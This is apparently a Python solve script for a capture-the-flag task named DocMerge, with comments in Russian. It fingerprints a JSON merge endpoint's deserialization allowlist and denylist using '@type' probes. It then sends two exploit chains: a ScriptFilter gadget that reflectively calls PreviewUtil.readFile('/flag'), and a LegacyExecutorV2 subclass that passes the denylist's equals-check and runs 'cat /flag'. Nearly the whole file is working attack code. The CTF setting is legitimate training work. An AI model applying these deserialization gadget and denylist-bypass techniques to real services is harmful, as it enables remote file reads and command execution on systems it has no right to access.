120 lines
3.7 KiB
Python
120 lines
3.7 KiB
Python
#!/usr/bin/env python3
|
|
"""Автоматическое решение таска DocMerge (только stdlib).
|
|
|
|
Запуск: python solve.py http://localhost:18112
|
|
"""
|
|
import json
|
|
import re
|
|
import sys
|
|
import urllib.error
|
|
import urllib.request
|
|
|
|
FLAG_RE = re.compile(r"CAPLAG\{[^}]*\}")
|
|
|
|
|
|
def post_merge(base, payload):
|
|
data = json.dumps(payload).encode()
|
|
req = urllib.request.Request(
|
|
base + "/api/merge", data=data,
|
|
headers={"Content-Type": "application/json"}, method="POST")
|
|
try:
|
|
with urllib.request.urlopen(req, timeout=20) as resp:
|
|
return resp.status, resp.read().decode("utf-8", "replace")
|
|
except urllib.error.HTTPError as e:
|
|
return e.code, e.read().decode("utf-8", "replace")
|
|
|
|
|
|
def get(base, path):
|
|
try:
|
|
with urllib.request.urlopen(base + path, timeout=20) as resp:
|
|
return resp.status, resp.read().decode("utf-8", "replace")
|
|
except urllib.error.HTTPError as e:
|
|
return e.code, e.read().decode("utf-8", "replace")
|
|
|
|
|
|
def fingerprint(base):
|
|
"""Три зонда: denylist / класс вне allowlist / разрешённый пакет."""
|
|
probes = [
|
|
("denylist: java.lang.Runtime",
|
|
{"@type": "java.lang.Runtime"}),
|
|
("allowlist, но класса нет: com.docmerge.plugins.NoSuchPlugin",
|
|
{"@type": "com.docmerge.plugins.NoSuchPlugin"}),
|
|
("вне allowlist: java.io.File",
|
|
{"@type": "java.io.File"}),
|
|
]
|
|
for label, payload in probes:
|
|
status, body = post_merge(base, payload)
|
|
marker = ""
|
|
try:
|
|
marker = json.loads(body).get("message", "")[:120]
|
|
except ValueError:
|
|
marker = body[:120]
|
|
print(f"[*] probe ({label}) -> HTTP {status}: {marker}")
|
|
|
|
|
|
def exploit_script_filter(base):
|
|
"""Основная цепочка: ScriptFilter -> reflection -> PreviewUtil.readFile('/flag')."""
|
|
payload = {
|
|
"title": "quarterly-report",
|
|
"documents": ["doc one", "doc two"],
|
|
"renderer": {
|
|
"template": "default",
|
|
"filters": [
|
|
{
|
|
"@type": "com.docmerge.plugins.ScriptFilter",
|
|
"className": "com.docmerge.util.PreviewUtil",
|
|
"methodName": "readFile",
|
|
"argument": "/flag",
|
|
}
|
|
],
|
|
},
|
|
}
|
|
return post_merge(base, payload)
|
|
|
|
|
|
def exploit_legacy_executor_v2(base):
|
|
"""Запасная цепочка: наследник denylist-класса проходит equals-проверку."""
|
|
payload = {
|
|
"title": "quarterly-report",
|
|
"renderer": {
|
|
"filters": [
|
|
{
|
|
"@type": "com.docmerge.plugins.LegacyExecutorV2",
|
|
"command": "cat /flag",
|
|
}
|
|
]
|
|
},
|
|
}
|
|
return post_merge(base, payload)
|
|
|
|
|
|
def main():
|
|
base = (sys.argv[1] if len(sys.argv) > 1 else "http://localhost:18112").rstrip("/")
|
|
print(f"[*] target: {base}")
|
|
|
|
status, body = get(base, "/api/plugins")
|
|
print(f"[*] GET /api/plugins -> HTTP {status}: {body[:200]}")
|
|
|
|
fingerprint(base)
|
|
|
|
print("[*] exploit #1: ScriptFilter -> PreviewUtil.readFile('/flag')")
|
|
status, body = exploit_script_filter(base)
|
|
match = FLAG_RE.search(body)
|
|
if match:
|
|
print(f"[+] flag: {match.group(0)}")
|
|
return
|
|
|
|
print(f"[-] exploit #1 failed (HTTP {status}), trying exploit #2: LegacyExecutorV2")
|
|
status, body = exploit_legacy_executor_v2(base)
|
|
match = FLAG_RE.search(body)
|
|
if match:
|
|
print(f"[+] flag: {match.group(0)}")
|
|
return
|
|
|
|
print(f"[-] exploit #2 failed (HTTP {status}): {body[:300]}")
|
|
sys.exit(1)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|